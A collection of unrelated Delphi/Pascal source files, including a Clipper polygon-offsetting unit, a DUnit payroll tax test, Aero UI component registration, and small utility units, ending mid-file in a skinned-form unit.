TEndType = (etPolygon, etOpenJoined, etOpenButt, etOpenSquare, etOpenRound);
TPointD = record X, Y: Double; end;
TArrayOfPointD = array of TPointD;
TClipperOffset = class
private
FDelta: Double;
FSinA, FSin, FCos: Extended;
FMiterLim, FMiterLimit: Double;
FStepsPerRad: Double;
FNorms: TArrayOfPointD;
FSolution: TPaths;
FOutPos: Integer;
FPathIn: TPath;
FPathOut: TPath;
FLowestIdx: Integer; //index to the path with the lowermost vertex
FNodeList: TList;
FArcTolerance: Double;
procedure AddPoint(const pt: TPoint64);
procedure DoSquare(j, k: Integer);
procedure DoMiter(j, k: Integer; cosAplus1: Double);
procedure DoRound(j, k: Integer);
procedure OffsetPoint(j: Integer;
var k: Integer; JoinType: TJoinType);
procedure GetLowestPolygonIdx;
procedure DoOffset(delta: Double);
public
constructor Create(MiterLimit: double = 2.0; ArcTolerance: double = 0.0);
destructor Destroy; override;
procedure AddPath(const p: TPath; jt: TJoinType; et: TEndType);
procedure AddPaths(const p: TPaths; jt: TJoinType; et: TEndType);
procedure Clear;
procedure Execute(out solution: TPaths; delta: Double);
property MiterLimit: Double read FMiterLimit write FMiterLimit;
property ArcTolerance: Double read FArcTolerance write FArcTolerance;
end;
function OffsetPaths(const paths: TPaths;
delta: Double; jt: TJoinType; et: TEndType): TPaths;
implementation
//OVERFLOWCHECKS is OFF as a necessary workaround for a Delphi compiler bug that
//very occasionally reports overflow errors while still returning correct values
//eg var A, B: Int64; begin A := -$13456780; B := -$73456789; A := A * B; end;
//see https://forums.embarcadero.com/message.jspa?messageID=871444
//nb: this issue has now been resolved in Delphi 10.2
{$OVERFLOWCHECKS OFF}
type
TPathNode = class
private
FPath : TPath;
FJoinType : TJoinType;
FEndType : TEndType;
fLowestIdx : Integer;
public
constructor Create(const p: TPath; jt: TJoinType; et: TEndType);
end;
resourcestring
rsClipperOffset = 'ClipperOffset error';
const
Tolerance : Double = 1.0E-15;
DefaultArcFrac : Double = 0.02;
Two_Pi : Double = 2 * PI;
LowestIp : TPoint64 = (X: High(Int64); Y: High(Int64));
//------------------------------------------------------------------------------
// Miscellaneous offset support functions
//------------------------------------------------------------------------------
function PointD(const X, Y: Double): TPointD; overload;
begin
Result.X := X;
Result.Y := Y;
end;
//------------------------------------------------------------------------------
function PointD(const pt: TPoint64): TPointD; overload;
begin
Result.X := pt.X;
Result.Y := pt.Y;
end;
//------------------------------------------------------------------------------
function GetUnitNormal(const pt1, pt2: TPoint64): TPointD;
var
dx, dy, inverseHypot: Double;
begin
if (pt2.X = pt1.X) and (pt2.Y = pt1.Y) then
begin
Result.X := 0;
Result.Y := 0;
Exit;
end;
dx := (pt2.X - pt1.X);
dy := (pt2.Y - pt1.Y);
inverseHypot := 1 / Hypot(dx, dy);
dx := dx * inverseHypot;
dy := dy * inverseHypot;
Result.X := dy;
Result.Y := -dx
end;
//------------------------------------------------------------------------------
// TPathNode methods
//------------------------------------------------------------------------------
constructor TPathNode.Create(const p: TPath; jt: TJoinType; et: TEndType);
var
i, lenP, last: Integer;
begin
inherited Create;
FPath := nil;
FJoinType := jt;
FEndType := et;
lenP := length(p);
if (et = etPolygon) or (et = etOpenJoined) then
while (lenP > 1) and PointsEqual(p[lenP-1], p[0]) do dec(lenP)
else if (lenP = 2) and PointsEqual(p[1], p[0]) then
lenP := 1;
if lenP = 0 then
Exit
else if (lenP < 3) and ((et = etPolygon) or (et = etOpenJoined)) then
begin
if jt = jtRound then FEndType := etOpenRound
else FEndType := etOpenSquare;
end;
setLength(fPath, lenP);
fPath[0] := p[0];
last := 0;
FLowestIdx := 0;
for i := 1 to lenP -1 do
begin
if PointsEqual(fPath[last], p[i]) then Continue;
inc(last);
fPath[last] := p[i];
if (FEndType <> etPolygon) then Continue;
if (p[i].Y >= fPath[fLowestIdx].Y) and
((p[i].Y > fPath[fLowestIdx].Y) or (p[i].X < fPath[fLowestIdx].X)) then
fLowestIdx := i;
end;
setLength(fPath, last +1);
if (FEndType = etPolygon) and (last < 2) then FPath := nil;
//note open paths can have just a single vertex.
end;
//------------------------------------------------------------------------------
// TClipperOffset methods
//------------------------------------------------------------------------------
constructor TClipperOffset.Create(MiterLimit: double; ArcTolerance: double);
begin
inherited Create;
FNodeList := TList.Create;
FMiterLimit := MiterLimit;
FArcTolerance := ArcTolerance;
end;
//------------------------------------------------------------------------------
destructor TClipperOffset.Destroy;
begin
Clear;
FNodeList.Free;
inherited;
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.Clear;
var
i: Integer;
begin
for i := 0 to FNodeList.Count -1 do
TPathNode(FNodeList[i]).Free;
FNodeList.Clear;
FNorms := nil;
FSolution := nil;
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.AddPath(const p: TPath; jt: TJoinType; et: TEndType);
var
pn: TPathNode;
begin
pn := TPathNode.Create(p, jt, et);
if pn.FPath = nil then pn.Free
else FNodeList.Add(pn);
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.AddPaths(const p: TPaths; jt: TJoinType; et: TEndType);
var
i: Integer;
begin
for i := 0 to High(p) do AddPath(p[i], jt, et);
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.GetLowestPolygonIdx;
var
i: Integer;
node: TPathNode;
ip1, ip2: TPoint64;
begin
FLowestIdx := -1;
for i := 0 to FNodeList.Count -1 do
begin
node := TPathNode(FNodeList[i]);
if (node.FEndType <> etPolygon) then Continue;
if fLowestIdx < 0 then
begin
ip1 := node.FPath[node.FLowestIdx];
FLowestIdx := i;
end else
begin
ip2 := node.FPath[node.FLowestIdx];
if (ip2.Y >= ip1.Y) and
((ip2.Y > ip1.Y) or (ip2.X < ip1.X)) then
begin
FLowestIdx := i;
ip1 := ip2;
end;
end;
end;
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.DoOffset(delta: Double);
var
i, j, k, pathLen, solCnt: Integer;
X, X2, Y, arcTol, absDelta, steps: Double;
node: TPathNode;
norm: TPointD;
begin
FDelta := delta;
absDelta := Abs(delta);
//if a Zero offset, then just copy CLOSED polygons to FSolution and return ...
if absDelta < Tolerance then
begin
solCnt := 0;
SetLength(FSolution, FNodeList.Count);
for i := 0 to FNodeList.Count -1 do
if (TPathNode(FNodeList[i]).FEndType = etPolygon) then
begin
FSolution[solCnt] := TPathNode(FNodeList[i]).FPath;
inc(solCnt);
end;
SetLength(FSolution, solCnt);
Exit;
end;
//FMiterLimit: see offset_triginometry3.svg
if FMiterLimit > 1 then FMiterLim := 2/(sqr(FMiterLimit))
else FMiterLim := 2;
if (FArcTolerance <= DefaultArcFrac) then
arcTol := absDelta * DefaultArcFrac else
arcTol := FArcTolerance;
//see offset_triginometry2.svg
steps := PI / ArcCos(1 - arcTol / absDelta); //steps per 360 degrees
if (steps > absDelta * Pi) then
steps := absDelta * Pi; //ie excessive precision check
Math.SinCos(Two_Pi / steps, FSin, FCos); //sin & cos per step
if delta < 0 then FSin := -FSin;
FStepsPerRad := steps / Two_Pi;
SetLength(FSolution, FNodeList.Count * 2);
solCnt := 0;
for i := 0 to FNodeList.Count -1 do
begin
node := TPathNode(FNodeList[i]);
FPathIn := node.FPath;
pathLen := length(FPathIn);
FOutPos := 0;
FPathOut := nil;
//if a single vertex then build circle or a square ...
if (pathLen = 1) then
begin
if node.FJoinType = jtRound then
begin
X := 1; Y := 0;
for j := 1 to Round(steps) do
begin
AddPoint(Point64(
Round(FPathIn[0].X + X * FDelta),
Round(FPathIn[0].Y + Y * FDelta)));
X2 := X;
X := X * FCos - FSin * Y;
Y := X2 * FSin + Y * FCos;
end
end else
begin
X := -1; Y := -1;
for j := 1 to 4 do
begin
AddPoint(Point64( Round(FPathIn[0].X + X * FDelta),
Round(FPathIn[0].Y + Y * FDelta)));
if X < 0 then X := 1
else if Y < 0 then Y := 1
else X := -1;
end;
end;
SetLength(FPathOut, FOutPos);
FSolution[solCnt] := FPathOut;
Inc(solCnt);
Continue;
end;
//build normals ...
SetLength(FNorms, pathLen);
for j := 0 to pathLen-2 do
FNorms[j] := GetUnitNormal(FPathIn[j], FPathIn[j+1]);
if (node.FEndType in [etOpenJoined, etPolygon]) then
FNorms[pathLen-1] := GetUnitNormal(FPathIn[pathLen-1], FPathIn[0]) else
FNorms[pathLen-1] := FNorms[pathLen-2];
//offset using normals ...
if node.FEndType = etPolygon then
begin
k := pathLen -1;
for j := 0 to pathLen-1 do
OffsetPoint(j, k, node.FJoinType);
SetLength(FPathOut, FOutPos);
FSolution[solCnt] := FPathOut;
Inc(solCnt);
end
else if (node.FEndType = etOpenJoined) then
begin
k := pathLen -1;
for j := 0 to pathLen-1 do OffsetPoint(j, k, node.FJoinType);
SetLength(FPathOut, FOutPos);
FSolution[solCnt] := FPathOut;
Inc(solCnt);
FOutPos := 0;
FPathOut := nil;
//reverse normals and repeat offsetting ...
norm := FNorms[pathLen - 1];
for j := pathLen-1 downto 1 do
begin
FNorms[j].X := -FNorms[j-1].X;
FNorms[j].Y := -FNorms[j-1].Y;
end;
FNorms[0].X := -norm.X;
FNorms[0].Y := -norm.Y;
k := 0;
for j := pathLen-1 downto 0 do OffsetPoint(j, k, node.FJoinType);
SetLength(FPathOut, FOutPos);
FSolution[solCnt] := FPathOut;
Inc(solCnt);
end else
begin
//offset the open path going forward ...
k := 0;
for j := 1 to pathLen-2 do OffsetPoint(j, k, node.FJoinType);
//handle the end (butt, round or square) ...
if node.FEndType = etOpenButt then
begin
j := pathLen - 1;
AddPoint(Point64(round(FPathIn[j].X + FNorms[j].X *FDelta),
round(FPathIn[j].Y + FNorms[j].Y * FDelta)));
AddPoint(Point64(round(FPathIn[j].X - FNorms[j].X *FDelta),
round(FPathIn[j].Y - FNorms[j].Y * FDelta)));
end else
begin
j := pathLen - 1;
k := pathLen - 2;
FNorms[j].X := -FNorms[j].X;
FNorms[j].Y := -FNorms[j].Y;
FSinA := 0;
if node.FEndType = etOpenSquare then
DoSquare(j, k) else
DoRound(j, k);
end;
//reverse normals ...
for j := pathLen-1 downto 1 do
begin
FNorms[j].X := -FNorms[j-1].X;
FNorms[j].Y := -FNorms[j-1].Y;
end;
FNorms[0].X := -FNorms[1].X;
FNorms[0].Y := -FNorms[1].Y;
//repeat offset but now going backward ...
k := pathLen -1;
for j := pathLen -2 downto 1 do OffsetPoint(j, k, node.FJoinType);
//finally handle the start (butt, round or square) ...
if node.FEndType = etOpenButt then
begin
AddPoint(Point64(round(FPathIn[0].X - FNorms[0].X *FDelta),
round(FPathIn[0].Y - FNorms[0].Y * FDelta)));
AddPoint(Point64(round(FPathIn[0].X + FNorms[0].X *FDelta),
round(FPathIn[0].Y + FNorms[0].Y * FDelta)));
end else
begin
FSinA := 0;
if node.FEndType = etOpenSquare then
DoSquare(0, 1) else
DoRound(0, 1);
end;
SetLength(FPathOut, FOutPos);
FSolution[solCnt] := FPathOut;
Inc(solCnt);
end;
end;
SetLength(FSolution, solCnt);
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.Execute(out solution: TPaths; delta: Double);
var
negate: Boolean;
begin
solution := nil;
if FNodeList.Count = 0 then Exit;
GetLowestPolygonIdx;
negate := (FLowestIdx >= 0) and
(Area(TPathNode(FNodeList[FLowestIdx]).FPath) < 0);
//if polygon orientations are reversed, then 'negate' ...
if negate then
FDelta := - delta else
FDelta := delta;
DoOffset(FDelta);
//clean up 'corners' ...
with TClipper.Create do
try
AddPaths(FSolution, ptSubject);
if negate then
Execute(ctUnion, solution, frNegative) else
Execute(ctUnion, solution, frPositive);
finally
free;
end;
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.AddPoint(const pt: TPoint64);
const
BuffLength = 32;
begin
if FOutPos = length(FPathOut) then
SetLength(FPathOut, FOutPos + BuffLength);
if (FOutPos > 0) and PointsEqual(FPathOut[FOutPos-1], pt) then Exit;
FPathOut[FOutPos] := pt;
Inc(FOutPos);
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.DoSquare(j, k: Integer);
begin
//Two vertices, one using the prior offset's (k) normal one the current (j).
//Do a 'normal' offset (by delta) and then another by 'de-normaling' the
//normal hence parallel to the direction of the respective edges.
if FDelta > 0 then
begin
AddPoint(Point64(
round(FPathIn[j].X + FDelta * (FNorms[k].X - FNorms[k].Y)),
round(FPathIn[j].Y + FDelta * (FNorms[k].Y + FNorms[k].X))));
AddPoint(Point64(
round(FPathIn[j].X + FDelta * (FNorms[j].X + FNorms[j].Y)),
round(FPathIn[j].Y + FDelta * (FNorms[j].Y - FNorms[j].X))));
end else
begin
AddPoint(Point64(
round(FPathIn[j].X + FDelta * (FNorms[k].X + FNorms[k].Y)),
round(FPathIn[j].Y + FDelta * (FNorms[k].Y - FNorms[k].X))));
AddPoint(Point64(
round(FPathIn[j].X + FDelta * (FNorms[j].X - FNorms[j].Y)),
round(FPathIn[j].Y + FDelta * (FNorms[j].Y + FNorms[j].X))));
end;
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.DoMiter(j, k: Integer; cosAplus1: Double);
var
q: Double;
begin
//see offset_triginometry4.svg
q := FDelta / cosAplus1; //0 < cosAplus1 <= 2
AddPoint(Point64(round(FPathIn[j].X + (FNorms[k].X + FNorms[j].X)*q),
round(FPathIn[j].Y + (FNorms[k].Y + FNorms[j].Y)*q)));
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.DoRound(j, k: Integer);
var
i, steps: Integer;
a, X, X2, Y: Double;
begin
a := ArcTan2(FSinA, FNorms[k].X * FNorms[j].X + FNorms[k].Y * FNorms[j].Y);
steps := Trunc(FStepsPerRad * Abs(a));
X := FNorms[k].X;
Y := FNorms[k].Y;
for i := 1 to steps do
begin
AddPoint(Point64(
round(FPathIn[j].X + X * FDelta),
round(FPathIn[j].Y + Y * FDelta)));
X2 := X;
X := X * FCos - FSin * Y;
Y := X2 * FSin + Y * FCos;
end;
AddPoint(Point64(
round(FPathIn[j].X + FNorms[j].X * FDelta),
round(FPathIn[j].Y + FNorms[j].Y * FDelta)));
end;
//------------------------------------------------------------------------------
procedure TClipperOffset.OffsetPoint(j: Integer;
var k: Integer; JoinType: TJoinType);
var
cosA: Double;
begin
//A: angle between adjoining paths on left side (left WRT winding direction).
//A == 0 deg (or A == 360 deg): collinear edges heading in same direction
//A == 180 deg: collinear edges heading in opposite directions (ie a 'spike')
//sin(A) < 0: convex on left.
//cos(A) > 0: angles on both left and right sides > 90 degrees
//cross product ...
FSinA := (FNorms[k].X * FNorms[j].Y - FNorms[j].X * FNorms[k].Y);
if (Abs(FSinA * FDelta) < 1.0) then //angle is approaching 180 or 360 deg.
begin
//dot product ...
cosA := (FNorms[k].X * FNorms[j].X + FNorms[j].Y * FNorms[k].Y );
if (cosA > 0) then //given condition above the angle is approaching 360 deg.
begin
//with angles approaching 360 deg collinear (whether concave or convex),
//offsetting with two or more vertices (that would be so close together)
//occasionally causes tiny self-intersections due to rounding.
//So we offset with just a single vertex here ...
AddPoint(Point64(round(FPathIn[j].X + FNorms[k].X * FDelta),
round(FPathIn[j].Y + FNorms[k].Y * FDelta)));
Exit;
end;
//else angle must be approaching 180 deg.
end
else if (FSinA > 1.0) then FSinA := 1.0
else if (FSinA < -1.0) then FSinA := -1.0;
if FSinA * FDelta < 0 then //ie a concave offset
begin
AddPoint(Point64(round(FPathIn[j].X + FNorms[k].X * FDelta),
round(FPathIn[j].Y + FNorms[k].Y * FDelta)));
AddPoint(FPathIn[j]); //this improves clipping removal later
AddPoint(Point64(round(FPathIn[j].X + FNorms[j].X * FDelta),
round(FPathIn[j].Y + FNorms[j].Y * FDelta)));
end
else
begin
//convex offsets here ...
case JoinType of
jtMiter:
begin
cosA := (FNorms[j].X * FNorms[k].X + FNorms[j].Y * FNorms[k].Y);
//see offset_triginometry3.svg
if (1 + cosA < FMiterLim) then DoSquare(j, k)
else DoMiter(j, k, 1 + cosA);
end;
jtSquare:
begin
cosA := (FNorms[k].X * FNorms[j].X + FNorms[j].Y * FNorms[k].Y );
if cosA >= 0 then //angles >= 90 deg. don't need squaring
DoMiter(j, k, 1 + cosA) else
DoSquare(j, k);
end;
jtRound: DoRound(j, k);
end;
end;
k := j;
end;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
function OffsetPaths(const paths: TPaths;
delta: Double; jt: TJoinType; et: TEndType): TPaths;
begin
with TClipperOffset.Create do
try
AddPaths(paths, jt, et);
Execute(Result, delta);
finally
free;
end;
end;
//------------------------------------------------------------------------------
end.
|
unit TestUFuncionario;
{
Delphi DUnit Test Case
----------------------
This unit contains a skeleton test case class generated by the Test Case Wizard.
Modify the generated code to correctly setup and call the methods from the unit
being tested.
}
interface
uses
TestFramework, System.Generics.Collections, UDependente, UFuncionario;
type
// Test methods for class TFuncionario
TestTFuncionario = class(TTestCase)
strict private
FFuncionario: TFuncionario;
FDependente1: TDependente;
FDependente2: TDependente;
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure TestValorINSS_Zero;
procedure TestValorIR_Zero;
procedure TestValorINSS;
procedure TestValorIR;
end;
implementation
procedure TestTFuncionario.SetUp;
begin
FFuncionario := TFuncionario.Create(1, 'Fulano', '13', 10000);
FDependente1 := TDependente.Create(1,1, 'Siclano', true, false);
FDependente2 := TDependente.Create(2,1, 'Beltrano', true, true);
FFuncionario.AddDependente(FDependente1);
FFuncionario.AddDependente(FDependente2);
end;
procedure TestTFuncionario.TearDown;
begin
FFuncionario.Free;
FFuncionario := nil;
end;
procedure TestTFuncionario.TestValorINSS;
var
ReturnValue: Currency;
begin
ReturnValue := FFuncionario.ValorINSS;
assert(ReturnValue = 800, 'Valor de INSS esta incorreto');
end;
procedure TestTFuncionario.TestValorINSS_Zero;
var
ReturnValue: Currency;
begin
ReturnValue := FFuncionario.ValorINSS;
assert(ReturnValue <> 0, 'Valor de INSS não deveria ser zero');
// TODO: Validate method results
end;
procedure TestTFuncionario.TestValorIR;
var
ReturnValue: Currency;
begin
ReturnValue := FFuncionario.ValorIR;
Assert(ReturnValue = 1470, 'Valor do Imposto de Renda esta incorreto');
// TODO: Validate method results
end;
procedure TestTFuncionario.TestValorIR_Zero;
var
ReturnValue: Currency;
begin
ReturnValue := FFuncionario.ValorIR;
Assert(ReturnValue <> 0, 'Valor do Imposto de Renda não deveria ser zero');
// TODO: Validate method results
end;
initialization
// Register any test cases with the test runner
RegisterTest(TestTFuncionario.Suite);
end.
|
{*******************************************************}
{ }
{ NTS Aero UI Library }
{ Created by GooD-NTS ( good.nts@gmail.com ) }
{ http://ntscorp.ru/ Copyright(c) 2011 }
{ License: Mozilla Public License 1.1 }
{ }
{*******************************************************}
unit NTS.UI.Aero.Environment.Register.Components;
interface
{$I '../../Common/CompilerVersion.Inc'}
uses
{$IFDEF HAS_UNITSCOPE}
System.Classes,
System.TypInfo,
{$ELSE}
Classes, TypInfo,
{$ENDIF}
DesignIntf,
UI.Aero.Window,
UI.Aero.SearchBox,
UI.Aero.Button,
UI.Aero.Button.Task,
UI.Aero.Labels,
UI.Aero.PageManager,
UI.Aero.Image,
UI.Aero.ThemeElement,
UI.Aero.Panel,
UI.Aero.Button.Image,
UI.Aero.ListBox,
UI.Aero.ToolTip,
UI.Aero.Composition,
UI.Aero.Button.Extended,
UI.Aero.Button.Image.Extended,
UI.Aero.Footer,
UI.Aero.Button.Theme,
UI.Aero.Button.Expando,
UI.Aero.ColorHost,
UI.Aero.BackForward,
UI.Aero.RecentList,
UI.Aero.StatusBox,
UI.Aero.black.GameButton;
Procedure Register;
Implementation
Procedure Register;
begin
// Aero Standard
RegisterComponents('Aero Standard' , [ TAeroWindow ]);
RegisterComponents('Aero Standard' , [ TAeroLabel ]);
//RegisterComponents('Aero Standard' , [ TAeroEdit ]);
RegisterComponents('Aero Standard' , [ TAeroButton ]);
RegisterComponents('Aero Standard' , [ TAeroTaskButton ]);
RegisterComponents('Aero Standard' , [ TAeroExpandoButton ]);
RegisterComponents('Aero Standard' , [ TAeroImage ]);
RegisterComponents('Aero Standard' , [ TAeroPanel ]);
// Aero Additional
RegisterComponents('Aero Additional', [ TAeroPageManager ]);
RegisterComponents('Aero Additional', [ TAeroThemeElement ]);
RegisterComponents('Aero Additional', [ TAeroImageButton ]);
RegisterComponents('Aero Additional', [ TAeroThemeButton ]);
RegisterComponents('Aero Additional', [ TAeroListBox ]);
RegisterComponents('Aero Additional', [ TAeroComposition ]);
RegisterComponents('Aero Additional', [ TAeroAnimationComposition ]);
RegisterComponents('Aero Additional', [ TAeroToolTip ]);
RegisterComponents('Aero Additional', [ TAeroSearchBox ]);
// Aero Extented
RegisterComponents('Aero Extended' , [ TAeroButtonEx ]);
RegisterComponents('Aero Extended' , [ TAeroImageButtonEx ]);
RegisterComponents('Aero Extended' , [ TAeroFooter ]);
//RegisterComponents('Aero Extented' , [ TAeroStdButton ]);
// Aero Special
RegisterComponents('Aero Special' , [ TAeroColorHost ]);
RegisterComponents('Aero Special' , [ TAeroBackForward ]);
RegisterComponents('Aero Special' , [ TAeroIEBackForward ]);
RegisterComponents('Aero Special' , [ TAeroRecentList ]);
RegisterComponents('Aero Special' , [ TAeroStatusBox ]);
RegisterComponents('Aero Special' , [ TAeroStatusButton ]);
RegisterComponents('Aero Special' , [ TBlackGameButton ]);
RegisterComponents('Aero Special' , [ TAeroColorButton ]);
{
[Aero Standard]
TAeroWindow
TAeroLabel
TAeroEdit
TAeroButton
TAeroTaskButton
TAeroImage
TAeroPanel
[Aero Additional]
TAeroPageManager
TAeroThemeElement
TAeroImageButton
TAeroListBox
TAeroComposition
TAeroImageComposition
TAeroThemeComposition
TAeroToolTip
TAeroSearchBox
[Aero Extented]
TAeroStdButton
TAeroButtonEx
TAeroImageButtonEx
[Aero Special]
TAeroColorHost
_____
[All]
////////////////
RegisterComponents('Aero Standard' , [ ]);
RegisterComponents('Aero Additional', [ ]);
RegisterComponents('Aero Extented' , [ ]);
RegisterComponents('Aero Special' , [ ]);
RegisterComponents('Aero Components', [ TAeroWindow ]);
RegisterComponents('Aero Components', [ TAeroSearchBox ]);
RegisterComponents('Aero Components', [ TAeroButton ]);
RegisterComponents('Aero Components', [ TAeroLabel ]);
RegisterComponents('Aero Components', [ TAeroImageComposition ]);
RegisterComponents('Aero Components', [ TAeroPageManager ]);
RegisterComponents('Aero Components', [ TAeroImage ]);
RegisterComponents('Aero Components', [ TAeroThemeElement ]);
RegisterComponents('Aero Components', [ TAeroPanel ]);
RegisterComponents('Aero Components', [ TAeroImageButton ]);
RegisterComponents('Aero Components', [ TAeroImageButtonEx ]);
RegisterComponents('Aero Components', [ TAeroTaskButton ]);
RegisterComponents('Aero Components', [ TAeroListBox ]);
RegisterComponents('Aero Components', [ TAeroToolTip ]);
{
To-DO:
- Доделать и исправить все компоненты.
- Удалить не используешеися Uses ссылки.
- Заменить функцию IsCompositionEnabled на переменную TAeroWindow.CompositionEnabled.
- Сделать что-то с функциеё AlphaBlend, например DrawAeroImage.
- Встроить мехаизм пердотвращения загрузки дубликатов в AeroPicture
(
0. Список всех загружаеных файлов, посчет кол-ва ссылко на один файл
1. Создается hash загружаемого файла
2. При следующих загрузках проверять hash и еслифайл уже загружен давать на него еще одну ссылку
)
- Компонент TAeroToolTip
- Компонент TAeroButtonEx
- ? Расширить TAeroListBox ?
TAeroTaskButton.AutoSize
TAeroTaskButton.Glow
DrawAeroText(DC: hDC;Text: PWideChar;Rect: TRect;Format: DWORD;X,Y: Integer;Theme: hTheme; pOpt: pExtOpt);
Надо две процедуры DrawAeroText;
pExtOpt = record
Color: TColor;
GlowSize: Integer;
end;
}
end;
end.
|
program SortRec;
const N = 4;
type
TInfo = record
Name: string [40];
Age: integer; { возраст }
end;
List = array [1..N] of TInfo; { массив записей содержит возраст и имя }
var
F: file of TInfo;
Rec: Tinfo;
I: Integer;
begin { Main }
Assign (F, 'shop.dat');
rewrite (F);
{ заполнение массива записей }
for I := 1 to N do
with Rec do
begin
writeln;
write ('Enter name: '); readln (Name);
write ('Enter age: '); readln (Age);
write (F, Rec);
end;
Close (F);
(*
{ форматированный вывод на экран массива записей }
writeln;
writeln ('Name' : 40, 'Age' : 10);
for I := 1 to 40 do write ('=');
writeln;
for I := 1 to N do
with rec do
begin
write ( I : 2 );
write ( ' ' : 4, Name);
writeln ( Age : 44 - Length (Name));
end;
readln;*)
end.
|
// ==============================================================================
//
// 描述: 匿名函数转方法指针
// 作者: 牧马人
//
// Description: Convert Method Reference to Method Pointer
// Author: Chang
//
// Usage:TAnonymousEvent.Create<MethodReferenceType,MethodPointerType>;
// For TNotifyEvent,you can use :
// Button1.OnClick := TAnonymousEvent.Create(
// procedure(Sender:TObject)
// begin
//
// end
// );
// ==============================================================================
unit AnonymousEvent;
interface
uses System.SysUtils, System.Classes, System.Rtti;
type
TAnonymousEvent = record
strict private
// 真正执行转换的方法
class procedure MethodReferenceToMethodPointer(const MethodReference;
var MethodPointer); static; inline;
public
class function Create<MethodRefType, ResultType>(const MethodRef
: MethodRefType): ResultType; overload; static; inline;
class function Create(const NotifyEvent: TProc<TObject>): TNotifyEvent;
overload; static; inline;
// Create a TNotifyEvent and wrap it in TValue
class function CreateAsTValue(const NotifyEvent: TProc<TObject>): TValue;
static; inline;
end;
implementation
{ TAnonymousEvent }
class function TAnonymousEvent.Create(const NotifyEvent: TProc<TObject>)
: TNotifyEvent;
begin
Result := TAnonymousEvent.Create<TProc<TObject>, TNotifyEvent>(NotifyEvent);
end;
class function TAnonymousEvent.Create<MethodRefType, ResultType>(const MethodRef
: MethodRefType): ResultType;
begin
MethodReferenceToMethodPointer(MethodRef, Result);
end;
class function TAnonymousEvent.CreateAsTValue(const NotifyEvent
: TProc<TObject>): TValue;
begin
Result := TValue.From<TNotifyEvent>(Create(NotifyEvent));
end;
class procedure TAnonymousEvent.MethodReferenceToMethodPointer
(const MethodReference; var MethodPointer);
begin
with TMethod(MethodPointer) do
begin
Code := PPointer(IntPtr(PPointer(MethodReference)^) + SizeOf(Pointer) * 3)^;
Data := Pointer(MethodReference);
end;
end;
end.
|
unit PxResources;
interface
resourcestring
SDuplicateIdentRecordIDs = 'Duplicate IIdentRecord ID: %d';
SErrorMaxIdExceeded = 'Max ID exceeded: $%.8x';
SOleError = 'OLE error %.8x';
SShowMessageTitle = 'Information';
SWindowNotCreated = 'Window not created';
SParseNotCramp = 'Syntax error';
SParseSyntaxError = 'Syntax error';
SParseDivideByZero = 'Division by zero';
SParseLogError = 'Log error';
SParseSqrError = 'Sqr error';
SParseInvalidFloatOperation = 'Invalid floating point operation';
SAtLeastOneUnitMustBeSpecified = 'At least one unit must be specified for conversion';
SErrorWhileListeningOnServerSocket = 'Error while listening on server socket';
SProfilingResults = 'Profiling results';
STotalTime = 'Total time';
SErrorWhileConnecting = 'Error while connecting: %s';
SErrorWhileSettingStreamSize = 'Error while setting stream size: %s';
SErrorWhileClosingStream = 'Error while closing stream: %s';
SErrorWhileGettingFileAge = 'Error while getting file age: %s';
SErrorWhileReadingData = 'Error while reading data';
SErrorWhileSeeking = 'Error while seeking: %s';
SErrorWhileWritingData = 'Error while writing data: %s';
SErrorWhileCreatingServerSocket = 'Error while creating remote stream server socket';
SErrorWhileBindingServerSocket = 'Error while binding remote stream server socket (another instance already running?)';
SErrorWhileListeningServerSocket = 'Error while listening on the remote stream server socket';
SErrorWhileSendingResponse = 'Error while sending response: Sent=%d, Expected=%d. ErrorStr=%s';
SCannotOpenSerialPort = 'Cannot open serial port.'#13#10#13#10'%s';
SErrorWhileRetrivingSerialPortSettings = 'Cannot retrive serial port settings.'#13#10#13#10'%s';
SErrorWhileSettingSerialPortSettings = 'Cannot store serial port settings.'#13#10#13#10'%s';
SInvalidByteSize = 'Invalid byte size %d';
SInvalidParity = 'Invalid parity %d';
SInvalidStopBits = 'Invalid stop bits %d';
SWideStringOutOfBounds = 'WideString-Index out of bounds';
SShowHelp = 'Show help';
SBeQuiet = 'Be quiet';
implementation
end.
|
unit UHelperThread;
interface
uses
Windows,
Classes,
SysUtils,
UTypes;
type
THelperThread = class(TThread)
private
FView: IView;
FHelperType: HelperTypeEnum;
FPreviousStatus: string;
procedure ClearStatus;
protected
procedure Execute; override;
public
constructor Create(createSuspended: bool; view: IView; helperType: HelperTypeEnum); overload;
destructor Destroy; override;
end;
implementation
constructor THelperThread.Create(createSuspended: bool; view: IView; helperType: HelperTypeEnum);
begin
inherited Create(createSuspended);
FView := view;
FHelperType := helperType;
FPreviousStatus := FView.Status;
end;
destructor THelperThread.Destroy;
begin
FView := nil;
inherited;
end;
procedure THelperThread.ClearStatus;
begin
if (Length(FView.Status) > 0) and (FPreviousStatus = FView.Status) then
FView.ClearStatus();
FPreviousStatus := FView.Status;
end;
procedure THelperThread.Execute;
begin
while true do
begin
case FHelperType of
htNone:
Self.Terminate;
htStatusClear:
begin
Sleep(2000);
Synchronize(ClearStatus);
end;
end;
end;
end;
end.
|
unit DibWnd;
{
通用贴图窗体类:
用法:将欲贴图的窗体使用DibWnd派生,在FormCreate函数
中调用SetBorderImage函数设置贴图文件,目前只支
持24位BMP、JPG、PNG图像
创建:杨长元 2006-12-25
修订:
}
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, DibImage, uDrawBorder, ShellApi;
type
UIImageList = record
LeftTop : WideString;
Top : WideString;
RightTop : WideString;
Left : WideString;
Right : WideString;
LeftBottom : WideString;
Bottom : WideString;
RightBottom : WideString;
end;
PUIImageList = ^UIImageList;
DibImageList = record
LeftTop : TDibImage;
Top : TDibImage;
RightTop : TDibImage;
Left : TDibImage;
Right : TDibImage;
LeftBottom : TDibImage;
Bottom : TDibImage;
RightBottom : TDibImage;
end;
TFrmDib = class(TForm)
procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
